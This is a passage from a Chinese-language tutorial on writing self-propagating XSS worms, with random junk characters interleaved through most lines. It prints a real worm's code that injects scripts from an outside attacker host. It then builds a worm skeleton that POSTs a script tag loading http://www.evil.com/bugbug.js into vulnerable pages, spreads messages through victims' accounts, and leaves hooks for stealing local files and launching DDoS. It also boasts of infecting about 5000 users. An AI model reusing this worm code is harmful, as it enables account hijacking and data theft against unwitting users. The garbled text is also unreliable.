//这里往哪跳就不知道了8 }4 o- f7 V% c6 C; S4 ]
4 @, l. X$ M( N: ^
function get_my_testself(){- c4 p( d* I+ t: q' l. b3 g
" A2 {* Y5 h P7 Z3 U' C3 N
for(i=0;i<myblogid.length;i++){ //获得blogid的值
?4 k% n9 M5 p) ~& M
2 N( V3 d! S4 p$ g8 h3 @ var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();/ z% w! [8 ]7 J! f7 |5 H
% E; }0 u, ^, I0 r8 q' u9 D8 m: C
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
3 x* l2 f; \9 c. {1 m/ H6 L
1 X' P, I- \7 J if(xhr2){ //如果成功) L( g3 M6 N$ A' ]' \$ V+ a
8 ?9 p, L1 D0 H: t! L+ i: { xhr2.open("GET",url,false); //打开上面的那个url
( |' V/ M, n2 `0 F/ q: }
) u" ^! W0 w' D; }6 i. q% } xhr2.send();0 d2 y+ Z, I" p3 j
% ^0 m& p! V" Z6 Z
guest2=xhr2.responseText;
* G9 ~ q% ?$ J! ^7 ~# ?
* r7 G/ x" z6 y% { var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
/ ^3 Y9 s+ R$ k. Z$ {7 i" Y
4 ^2 i- B9 X/ d5 s: Z" P: b" } var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
! ~/ b8 R2 c- y% \
) p* h- w8 P, q3 g) q1 @% x5 \ if(mycheckmydoit!="-1"){ //返回-1则代表没找到' B/ i8 Y7 r& G- I( X9 P
0 f! I( T; g. T: A: k% h targetblogurlid=myblogid; , J, ]8 T+ M# U; I+ R5 O- u @
, y5 D3 {* l5 @) d add_jsdel(visitorID,targetblogurlid,gurl); //执行它( m/ T# k/ Y+ \8 y; x. U
5 [1 y$ T/ [4 }, M6 |& V break;' x: J8 V# v" |$ G" [
0 x5 t3 P/ J; M4 w1 C! R4 y/ h2 A
}
1 Z) [0 {$ }6 F \% k
3 s' M0 N3 }) c if(mycheckit=="-1"){
% Y# H- r, B7 D" y& S* m' v% {5 G: S- F$ q1 i$ x$ D" H
targetblogurlid=myblogid;
; I/ N5 p: V4 o( n8 ~9 `: `
5 y' y- M) ~% W add_js(visitorID,targetblogurlid,gurl); //执行它3 j/ Q+ a F9 l8 A; R9 M, U
' u; y: @" j( v( ]* k0 c
break;4 ?) }- @- R6 B% x- G$ z& v( Q V
: N8 K" S6 U: |6 ~4 u) c1 R0 y4 z) A }" R$ i2 U1 E( y$ t5 Y( L3 F
7 B6 [/ Z- [% O0 q' n% E* U# [ } 3 o h- |1 \$ ]2 {; E+ s
: L# C" B' p( Q}
' G' {" E D$ h K% `& [( R8 z8 [: |8 ?) p5 e n, v+ s
}
$ i6 t s9 C3 k6 `
! A7 i1 u) m7 G# }
9 l- k2 w8 L3 V& u l
- M: ~' u9 N. \ s4 `3 f& O7 i//-------------------------------------- 4 P4 c: Z: {3 A: ]
- c$ W- ]) S2 B, {0 h
//根据浏览器创建一个XMLHttpRequest对象
. y( {& `9 G" ~: X+ ?3 X$ D) R& i6 g% `8 F
function createXMLHttpRequest(){! D$ f4 g4 o2 l3 f: y9 R
) S( s4 A. X+ j7 @5 ^- d7 E
var XMLhttpObject=null; % _' r( f7 f7 I5 h
- R, |; u$ ~4 N o% R if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
5 F, g/ w% N4 k, v- E9 p
: I1 h0 Z$ Y9 M& F3 f: d5 [ else 0 O* ^8 E4 W9 p( l" S% N
8 v$ Q% B3 Z, w; x0 W {0 K, h
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; 4 H3 T5 d8 W; l! T' s- S
1 Z3 v+ o1 M% M9 r7 S
for(var i=0;i<MSXML.length;i++)
4 T1 T+ y$ ^5 g1 I' O7 x
8 v9 _2 g" c: F$ j2 e9 S { & u* { s" G5 v: d1 D _2 n# D
! h* V6 _: F% n& | try 0 \6 B; U* D) a. F- h
; E' o2 P6 T) U) g; D
{ 9 z, v7 e1 D, ] p+ T3 m: L9 J
; A" T$ k0 y; \7 X# R6 \0 z. X
XMLhttpObject=new ActiveXObject(MSXML);
' O) z+ c& G5 \7 V* b! O) {# u5 H' F8 }
break;
/ B4 {+ Z. ]. ]$ e) a
. O% ^& P: l/ C- i9 | }
) s$ }8 c: k2 [; ?! D: q! K
: _& U( w2 N8 b catch (ex) {
4 p" T: D( l" a2 F) D- r2 r( u/ k% i0 s0 [, X
}
/ n3 ?9 S2 L: p* g+ K5 d; ^: B/ N/ w
0 ?! U( n5 Z8 k; r! D" r } + H1 J4 B5 B( ]+ M
_" z; x8 w1 M5 W( y. [
}7 D; e% C# ?1 h2 j
- q& D' t$ F/ \2 E( u( L; ?
return XMLhttpObject;3 [# y: z' Q) x: o! Z- J
" O/ B/ @; b2 U}
! `0 v4 d; K C# O5 l) ~+ t, [( J7 `
3 Y3 w5 B- @( ^
) X# ]& }( v0 Y! ?3 F5 o* b# d2 C$ M. E1 S
//这里就是感染部分了
) M b. Q8 o( j0 n
( t/ |: J9 d7 e* j: _function add_js(visitorID,targetblogurlid,gurl){
5 y# H* w% I% \* Q
, \) \! J- Q- N1 }! o* I# evar s2=document.createElement('script');
: |$ T6 e y0 d6 K
# D, d$ e, b3 G5 R. j" y; t( bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 \$ D* N+ W" `" }! N2 \7 N
% g- B" N/ F9 H% ^1 b+ n: Es2.type='text/javascript';
7 N, }( [: D- e( A+ L% s. d
) M7 M) u* i6 \0 B$ Pdocument.getElementsByTagName('head').item(0).appendChild(s2);1 M }$ l8 C( M4 \ Y# y
/ X; y" E3 A2 d7 h: w
}. `9 ]; P: v7 q+ x* ~: A2 L$ Y
7 J+ J* [- J! T/ D; b! n
9 d8 C \- d& D0 ]
+ z& w& }/ a, j2 ~) i, b' }$ Tfunction add_jsdel(visitorID,targetblogurlid,gurl){
" d3 k' l: d6 j
! ]% I _- _ Y& m c7 Evar s2=document.createElement('script');% o' m8 @2 n: Z$ W3 n2 ?
0 a) o! K$ b# B" t# Js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();& x! h0 ~9 Q0 d5 |! b
8 F9 l. Z6 y6 p; t
s2.type='text/javascript';
% }7 l# Z! f% x$ f) I
2 F$ M3 c- l3 h# Z/ wdocument.getElementsByTagName('head').item(0).appendChild(s2);
+ g3 c7 z" A& t. D
5 t' z8 w: ]% o' `7 K8 g9 p7 ], V}
* v7 w1 ]# {' _! ]* V复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% d [: X( @/ f: k1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)4 E4 ]% O \8 ?" I% D D
! M9 X, i4 W% u: O2 ?9 [' m% a+ z. M
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
4 ^: j( h9 S, v- R, z" j, O7 V) X, I
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~* L& I: e. B5 f" I9 u* Q7 ?0 [
B5 b6 Y+ U" _4 V
1 g: c0 f. F7 h: F
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
( O! m% N2 K* N5 `$ T
$ O1 ?* v; `3 L: ~5 s首先,自然是判断不同浏览器,创建不同的对象var request = false;
; m/ O3 \( d6 @8 x2 r9 E+ f3 j" q" I+ U6 t! o& z
if(window.XMLHttpRequest) {% C: I, S0 j6 _4 F$ W1 b, t
1 O- k0 T& {7 N+ n" Srequest = new XMLHttpRequest();
7 k5 o; o, y4 @5 g, O9 N( Z8 K, E( _) a! C5 U$ Z
if(request.overrideMimeType) {3 c3 S. G& _; A' u* e& n" _: m$ z) J
6 i7 W/ t; A! p' r A
request.overrideMimeType('text/xml');5 g- {4 ~! ]6 W2 B3 P$ g
; h' D0 n) s( ?6 p
}1 q' K" Y6 x6 o) ?/ m
, O9 V# `: l3 `& j8 _' B( ]} else if(window.ActiveXObject) {
4 {3 T% n5 M# t3 Y
# L1 b4 x# p1 u3 {! \2 ]- Zvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 k8 m0 E2 l9 W1 q+ M+ G& p Q4 s. q7 ~6 `) A3 W% P8 @7 G2 [! m$ x
for(var i=0; i<versions.length; i++) {/ N( R- v: ?+ x' |! f+ l
2 @% i6 J! e; t* Z6 @try {
$ g/ L( g! Z a9 z4 U
5 a& M4 F6 A" t9 Orequest = new ActiveXObject(versions);
( C3 g. L6 \0 P, W) G( l6 y: t( c x- f, x5 [# f
} catch(e) {}
% P1 Q; k* N( e2 x7 N
5 m% N$ ~8 _) A}
3 h* O9 m: A j6 @4 f# B; T0 y' q3 t- h) {0 _
}
" u1 X, p: A9 V! b
& y1 G2 @2 w. k7 w# M/ QxmlHttpReq=request;3 Z3 b: a8 l2 |
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
x: k0 J3 _& ^ G1 P, F, w* w# ]
/ \8 S" a2 C3 O' M var Browser_Name=navigator.appName;
" M* G6 x. T+ p+ e' }+ l# ]) m* t: S# m
var Browser_Version=parseFloat(navigator.appVersion);, n' k+ z' q8 f) t- W
( F4 N' e0 J* B& z/ d% e U; i var Browser_Agent=navigator.userAgent;: E4 ]; g, ]" D; u$ z9 x
( f7 D3 E/ }0 n( V
+ f) x6 e5 ~6 W4 ]5 D5 |3 P8 d5 e: I& [
var Actual_Version,Actual_Name;
* S0 {0 C2 y4 r6 F5 [# m2 Q( d% S" l! X6 [& X3 f
8 ?' e% {0 L' g( o! C/ |# U, x, F9 G
# {) I1 I) N( }5 c4 k5 t
var is_IE=(Browser_Name=="Microsoft Internet Explorer");
5 {. T4 O5 m0 P, x, C* y( E7 I. e& U- p, R# C% H% O
var is_NN=(Browser_Name=="Netscape");
3 L1 D r. s" M) R+ d% v5 B" [4 W' j! z: X
var is_Ch=(Browser_Name=="Chrome");
* h+ x# M$ D. v: M i* j
/ j+ ~6 I# a0 J
$ S5 M: b! |9 u6 g
8 J. }! w1 ]) {$ S4 J if(is_NN){9 x% `; t3 V: B% G3 @; g9 T
5 \" P) l; Y" M" a6 E8 |
if(Browser_Version>=5.0){
2 v' o2 ~1 a* Y; P3 h( x& E, N% u3 p1 M
var Split_Sign=Browser_Agent.lastIndexOf("/");7 o1 G- {" E3 {& |) H
+ O" r9 z, t- K' K3 W
var Version=Browser_Agent.indexOf(" ",Split_Sign);
, Z) h/ y/ f- p& g+ A& C4 D3 G
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);" ` I/ l1 |. Y
& M' n+ \2 Y ^" ]3 X/ w5 o% ]8 p' q% q
) p$ Q5 K: d# f$ T
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
; o1 E. w. m# v! c- S- C- r
& I; Z# ~3 s) S! x Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);6 v( n/ k2 o& p, @
! W s7 j# B; N( R. I; n! K
}
$ T7 j( z2 s5 m5 N. D1 H) ]. H* y! r. j7 Z# R
else{
& O$ \, G% I1 o% O& W( E7 K
w( w& v) q h- g8 ]. d. m Actual_Version=Browser_Version;8 J" d* N; S( L r7 _+ M
# E8 c* R4 {+ q8 }. t2 Q0 P1 z( [
Actual_Name=Browser_Name;1 @4 P& a( l$ Z* D$ Q
6 t9 m, W' a9 P9 D6 m: j& ?- f
}7 [) A8 e" j4 J- X& w3 ]
y4 ]% ?) D! x" f }
) ~; x( O/ u, o' ?/ F5 W1 ]# N
else if(is_IE){
% {6 ]4 X; d& g# n s! s1 j
1 ~5 f' |& [2 R+ m! \% y. M var Version_Start=Browser_Agent.indexOf("MSIE");
0 @4 L1 W9 ?1 Z5 P6 [0 z. ]
9 ^9 b! [) L0 X* k# N var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 U; J5 ?7 I) \0 T
! M' m# A. \8 o H" W Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End); m$ V2 \9 Q5 K2 i
% o7 z& S/ n- X
Actual_Name=Browser_Name;8 s' L: |, n" [6 l: e
: C8 u6 i8 ?4 N- j
. n# F2 p! f" F0 e# r M3 g) q
: J% W( M/ x8 ^) Y t2 Z if(Browser_Agent.indexOf("Maxthon")!=-1){0 p# w& O0 n; E+ j7 W. y- f9 ]3 O& v
0 Q( D. z0 }: v3 v. e" C
Actual_Name+="(Maxthon)";' I% x) m5 O, R5 w p! E6 N
/ h( R" ?8 u# Q+ @8 o9 A }
# w1 J( z: g# h( x% h; ]& L1 `7 W
, m$ U2 O: E. h$ C, e* J. k1 t else if(Browser_Agent.indexOf("Opera")!=-1){
1 \' X, |! I0 B& Z" d
$ R+ S; R4 O% a Actual_Name="Opera";
! `- m* S& d6 K5 X
( e& [3 N- j+ a3 F* i var tempstart=Browser_Agent.indexOf("Opera");: a0 O6 x, p1 x8 |% P3 d
1 Q# a$ x5 I, v% J, o- N1 W5 _ var tempend=Browser_Agent.length;, w: G) b' N$ J$ ~! g
* [. V8 z2 ?4 r* C( S
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 c+ V% `9 s3 B9 B; {
- h1 Q1 ]9 l& V
}
) Q6 ?! s1 f; I; h# H0 x- ?2 [! b, T* `
}
9 ~) j3 d1 o9 G/ J1 A& ~# x. p4 s% S; x# T$ s' t, m9 C2 {3 X9 ~
else if(is_Ch){; K. [. F& Y T; v
5 ~, _- P0 [$ V var Version_Start=Browser_Agent.indexOf("Chrome");* |# Q8 b7 d+ N$ y) Q: K3 x) t
3 \& S( e+ U3 p. W) `
var Version_End=Browser_Agent.indexOf(";",Version_Start);, ?+ `% x% @$ b2 `! ^( L! }2 u& M
! b: t; L% z3 {+ M/ B Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
; r1 G0 U3 d' n |
7 [' ~0 H# S$ x! |# d Actual_Name=Browser_Name;
7 F4 f* Z" M _2 n) q6 a" e9 e4 q) ^* Y! Q* k; }
" o3 d! Z) I7 M
! u; m# J3 e; Z% m; E$ a( |9 u: K W l
if(Browser_Agent.indexOf("Maxthon")!=-1){- N( M/ v! e. n* ~5 v# H; ~) i
4 a" }% i/ f4 u7 X Actual_Name+="(Maxthon)";
8 ~2 R" z: f- `# `; K! n; G; j5 Y) `' n/ d
}# C2 u' |& w8 {% c9 p8 r1 t: U
: g0 w7 l' i& i( `1 ? else if(Browser_Agent.indexOf("Opera")!=-1){
+ U/ c0 q' r7 P$ t' q+ F& }5 ~) I2 ]; n# e
Actual_Name="Opera";
- V& y9 d! c1 d6 H& _" Y; m6 ?7 r; {8 V( L& o
var tempstart=Browser_Agent.indexOf("Opera");
5 l* n6 ~# }9 w0 T* |
- |/ ^2 i+ c$ G var tempend=Browser_Agent.length;
; H0 r1 C; Y2 b" Y2 Z
3 v) n- P. R. [! D Actual_Version=Browser_Agent.substring(tempstart+6,tempend)( s: j7 e3 A9 ]$ h/ s/ D
1 e9 ]9 J$ L; @* x5 Q3 c# s& R }# ?- ^/ Q" O4 H. F8 U
' |7 _- c; f: L9 V( t0 s }1 c: B# ~( m/ K$ y! u
) M" q4 }/ e! C+ {9 {, ~
else{
A ?( u+ ?' n' Z' z7 v9 t& c% U. w N6 K( }% f
Actual_Name="Unknown Navigator"7 n% b* M/ d" `0 B O; J* q! H5 Q
0 d) m1 i0 @5 w2 ] Actual_Version="Unknown Version". e( i5 b, H% m. r6 D: b O" \
$ e9 ]( X. r; O7 B" `
}5 h. Y. x9 _9 D0 k6 w- u W
3 P# X! m3 ?8 E' H6 o$ E! i, a4 q, H+ p7 R# U' ]2 P
8 S/ o. s6 G+ E8 u/ r) L navigator.Actual_Name=Actual_Name;- f7 Y" d" R* r% B
2 T: ^0 Z* }# ^5 W navigator.Actual_Version=Actual_Version;
& e7 r6 b9 u, y: ^& }/ r5 e
2 ^6 K- o$ @- O" y* |0 r & W4 ~; v; J2 v+ I0 e' u" J/ O+ g
9 l( h4 r0 w5 X5 L& ~6 G% ` L. L this.Name=Actual_Name;: {* x- T, `0 }9 i7 F
. Y0 n. E5 m( i- L: J& b4 k+ }' w this.Version=Actual_Version;
; z4 {# l0 Z7 Q+ H1 O+ a$ y# c( u. ?4 |- w$ V# v4 Z4 U- F2 m
}
, ]7 u/ F$ s6 h8 \( N. R. V* [. E/ ?2 c) t& z' N5 N6 Y n
browserinfo();% h6 I% Z/ d' l2 j
" C: I1 Q- N- A! { if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}* Q2 Z; M1 h3 Q' I* C
( k; i# D/ |. ~0 A if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}' ^3 v# b9 x9 {; Q3 L5 s) b
) Y9 X% Y3 `1 o6 T! C if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}# }4 r& n: r \) w$ [2 \
/ J4 K" Z* h, g if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}* Y3 ]& T7 x% l. x5 }- G0 |2 p$ z
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
6 }. h' u* h+ t/ w: \7 z; J/ U复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- |% N# V: c4 \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.+ ~: @* u- v0 s! R1 s
& p* S& d: c8 c* {" d9 {
xmlHttpReq.send(null);3 T9 K# K, F$ U3 o9 C4 [
* X- C! S! _/ X# [5 w. C3 L
var resource = xmlHttpReq.responseText;
/ _" S R% `; X, q: t
6 @' l0 K0 [# C3 Kvar id=0;var result;2 y4 a& [* O/ J( s% C! s( W+ ?
0 \: P$ i+ {5 Y3 N$ }7 V2 uvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.8 J r1 R- M* r! G
7 C+ z6 G: z7 {: _- v0 A: n; y, d
while ((result = patt.exec(resource)) != null) {
! ?/ ]8 W6 x4 z! ~, e' }$ @7 l8 L: A) u# o
id++;
9 q/ B" F2 h# I+ j, q/ F0 Y$ k( w* o( u( Y, c+ x" d3 _ I
}/ G( b/ v2 x* Y$ P% @% U8 h0 ^
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.% w5 d+ T p/ Z; [
7 g- t' Z# c0 ?. nno=resource.search(/my name is/);: y3 C$ `+ ~8 a, N, F3 \+ W9 y" Q$ f: \
( t" T1 D: g/ |" S7 [
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
e4 o/ u, y/ h( E& K+ @! l" c. _, y S4 r0 {3 r5 c: @% f
var post="wd="+wd;
: |8 N1 z9 h A9 u" F5 ]9 \$ {: C8 P9 d7 m
xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.. ?! B; f. Z4 ^, y3 ^+ p
, f( {% f2 _& \* {# fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 O: [0 m( [0 |" w* F9 b
# q$ C1 G! H8 wxmlHttpReq.setRequestHeader("content-length",post.length); - q$ @8 f7 Y( V' h
7 P% f$ S! r1 K0 ^: u0 D
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");- a I0 T/ V+ L: r# l; d
( f' m: ?0 v( V" t. I6 ^# ]' e$ |
xmlHttpReq.send(post);# X A2 q+ b. L w- T( r
4 {+ [2 Y- o1 z1 L* E& ~}9 {: s! |% C1 G" W2 c
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{. g' e. ?9 m4 M+ p& Y* z
& V4 Q* A: n/ }4 J$ E
var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方1 e }* i# {6 i; r( H: n) |% X
6 o8 l4 j2 T, T) ^var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
' h \( e2 \. ~# ?+ I+ ~" k; ?
0 z0 N/ w" b3 F3 i: s! Zvar wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.- C2 X" H1 i6 h6 T+ K
1 a4 v/ q0 K! E6 G* b* Q
var post="wd="+wd;
' `" T. t' O, ~4 F* t( o! g- @
4 [+ y* N; ]) c" i; _( `xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
# r; F+ U, z# M) f* G; G! D# W; b: n- i* J, A% r& g B& w% t8 p5 k
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");. j4 D4 G1 \! j! {
4 `2 | A7 X8 G2 s4 g4 d. |
xmlHttpReq.setRequestHeader("content-length",post.length); 3 {0 M6 ]& Y7 J$ G& z, Q6 b
6 v1 M, j- L; [3 C" B6 S* V
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");( {0 Q- H, N) T: _
5 C( i& D9 n; B1 y% ?
xmlHttpReq.send(post); //把传播的信息 POST出去.; Q8 R" i( C- k( r: t
, i* m+ P6 r( A/ M}
" T$ a# F6 Q3 D) ], e复制代码-----------------------------------------------------总结-------------------------------------------------------------------
8 H* Y+ Z U7 z# @! r& \4 D3 [; i- `: K
0 ^- S* W2 k' E0 M& ?1 a$ z
1 d7 a5 x, s" S: Z
本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.* D0 K- A$ h; |: r
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 h. Q9 T$ G, d4 u- h; R* Y$ h操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
+ x. }! U/ ?+ Z- p6 F$ m
) d9 i7 z$ n' b) Y) F" X2 `! E2 Z8 M3 [ r5 S
2 K& q& ], X, z1 x4 b; ]0 @. P# D
. `3 r' ^" z- J' B" q1 e! m
7 C# [* R# T2 W9 l* P* F
1 i9 _+ Z; n' s+ \0 r% G* s0 T4 @/ m" c" s% ]4 @( N2 i
$ W2 j& d8 G5 r7 Y$ E- @
本文引用文档资料:
. }( v( l* [! |* ~2 X& C, F' ^$ I) ?& L
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 f4 ?' k# T, ROther XmlHttpRequest tricks (Amit Klein, January 2003)6 V2 r+ n8 t5 P6 |4 S; H
"Cross Site Tracing" (Jeremiah Grossman, January 2003)! ~! ~6 p/ V D$ @. M
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
4 S- U" \9 L- v8 b9 s空虚浪子心BLOG http://www.inbreak.net
) f# h5 `# T1 A/ kXeye Team http://xeye.us/$ ]. Y* p# M/ {( p7 Y) v
|